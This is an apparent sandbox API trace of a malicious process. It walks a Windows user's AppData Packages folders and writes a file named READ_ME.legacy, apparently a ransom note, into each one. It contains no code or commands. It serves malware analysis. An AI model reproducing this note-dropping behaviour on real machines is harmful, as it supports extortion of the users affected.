HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0136.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0136.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0136.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.764] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f1d90f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f1d90f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy", cAlternateFileName="E2A4F9~1")) returned 1 [0136.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0136.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0136.765] GetLastError () returned 0x0 [0136.765] SetLastError (dwErrCode=0x0) [0136.765] GetLastError () returned 0x0 [0136.765] SetLastError (dwErrCode=0x0) [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0136.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0136.765] GetLastError () returned 0x0 [0136.765] SetLastError (dwErrCode=0x0) [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0136.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0136.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e415c8 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e410c0 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0136.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0136.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.765] GetLastError () returned 0x0 [0136.765] SetLastError (dwErrCode=0x0) [0136.765] GetLastError () returned 0x0 [0136.766] SetLastError (dwErrCode=0x0) [0136.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0136.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0136.766] GetLastError () returned 0x0 [0136.766] SetLastError (dwErrCode=0x0) [0136.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0136.766] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.018] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0137.018] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.019] CloseHandle (hObject=0x744) returned 1 [0137.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e410c0 | out: hHeap=0x520000) returned 1 [0137.020] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EnvironmentsApp_cw5n1h2txyewy", cAlternateFileName="ENVIRO~1")) returned 1 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8980 | out: hHeap=0x520000) returned 1 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0137.020] GetLastError () returned 0x0 [0137.020] SetLastError (dwErrCode=0x0) [0137.020] GetLastError () returned 0x0 [0137.020] SetLastError (dwErrCode=0x0) [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0137.020] GetLastError () returned 0x0 [0137.020] SetLastError (dwErrCode=0x0) [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7160 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0137.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0137.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0137.020] GetLastError () returned 0x0 [0137.021] SetLastError (dwErrCode=0x0) [0137.021] GetLastError () returned 0x0 [0137.021] SetLastError (dwErrCode=0x0) [0137.021] GetLastError () returned 0x0 [0137.021] SetLastError (dwErrCode=0x0) [0137.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e412e8 [0137.021] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e412e8 | out: hHeap=0x520000) returned 1 [0137.084] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.085] CloseHandle (hObject=0x744) returned 1 [0137.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0137.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0137.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0137.085] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="HoloCamera_cw5n1h2txyewy", cAlternateFileName="HOLOCA~1")) returned 1 [0137.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0137.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0137.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0137.086] GetLastError () returned 0x0 [0137.086] SetLastError (dwErrCode=0x0) [0137.086] GetLastError () returned 0x0 [0137.086] SetLastError (dwErrCode=0x0) [0137.086] GetLastError () returned 0x0 [0137.086] SetLastError (dwErrCode=0x0) [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0137.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0137.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60d0e8 [0137.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0137.086] GetLastError () returned 0x0 [0137.086] SetLastError (dwErrCode=0x0) [0137.086] GetLastError () returned 0x0 [0137.086] SetLastError (dwErrCode=0x0) [0137.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0137.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d0e8 | out: hHeap=0x520000) returned 1 [0137.086] GetLastError () returned 0x0 [0137.087] SetLastError (dwErrCode=0x0) [0137.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e81c0 [0137.087] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81c0 | out: hHeap=0x520000) returned 1 [0137.166] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.167] CloseHandle (hObject=0x744) returned 1 [0137.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0137.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0137.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.167] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="HoloItemPlayerApp_cw5n1h2txyewy", cAlternateFileName="HOLOIT~1")) returned 1 [0137.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0137.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0137.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0137.168] GetLastError () returned 0x0 [0137.168] SetLastError (dwErrCode=0x0) [0137.168] GetLastError () returned 0x0 [0137.168] SetLastError (dwErrCode=0x0) [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0137.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.168] GetLastError () returned 0x0 [0137.168] SetLastError (dwErrCode=0x0) [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0137.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0137.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ca0 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7458 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0137.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0137.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.168] GetLastError () returned 0x0 [0137.168] SetLastError (dwErrCode=0x0) [0137.168] GetLastError () returned 0x0 [0137.168] SetLastError (dwErrCode=0x0) [0137.169] GetLastError () returned 0x0 [0137.169] SetLastError (dwErrCode=0x0) [0137.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41458 [0137.169] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41458 | out: hHeap=0x520000) returned 1 [0137.293] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.294] CloseHandle (hObject=0x744) returned 1 [0137.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0137.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0137.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0137.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7458 | out: hHeap=0x520000) returned 1 [0137.295] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="HoloShell_cw5n1h2txyewy", cAlternateFileName="HOLOSH~1")) returned 1 [0137.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0137.295] GetLastError () returned 0x0 [0137.295] SetLastError (dwErrCode=0x0) [0137.295] GetLastError () returned 0x0 [0137.295] SetLastError (dwErrCode=0x0) [0137.295] GetLastError () returned 0x0 [0137.295] SetLastError (dwErrCode=0x0) [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0137.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0137.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60d170 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0137.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0137.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60db00 [0137.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0137.296] GetLastError () returned 0x0 [0137.296] SetLastError (dwErrCode=0x0) [0137.296] GetLastError () returned 0x0 [0137.296] SetLastError (dwErrCode=0x0) [0137.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0137.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60db00 | out: hHeap=0x520000) returned 1 [0137.296] GetLastError () returned 0x0 [0137.296] SetLastError (dwErrCode=0x0) [0137.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7bd8 [0137.296] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7bd8 | out: hHeap=0x520000) returned 1 [0137.375] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.376] CloseHandle (hObject=0x744) returned 1 [0137.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0137.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0137.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0137.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d170 | out: hHeap=0x520000) returned 1 [0137.376] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12383999, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x12383999, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.3DBuilder_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.3DB")) returned 1 [0137.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0137.377] GetLastError () returned 0x0 [0137.377] SetLastError (dwErrCode=0x0) [0137.377] GetLastError () returned 0x0 [0137.377] SetLastError (dwErrCode=0x0) [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0137.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.377] GetLastError () returned 0x0 [0137.377] SetLastError (dwErrCode=0x0) [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0137.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0137.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7290 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0137.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0137.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0137.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.378] GetLastError () returned 0x0 [0137.378] SetLastError (dwErrCode=0x0) [0137.378] GetLastError () returned 0x0 [0137.378] SetLastError (dwErrCode=0x0) [0137.378] GetLastError () returned 0x0 [0137.378] SetLastError (dwErrCode=0x0) [0137.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41960 [0137.378] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41960 | out: hHeap=0x520000) returned 1 [0137.380] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, 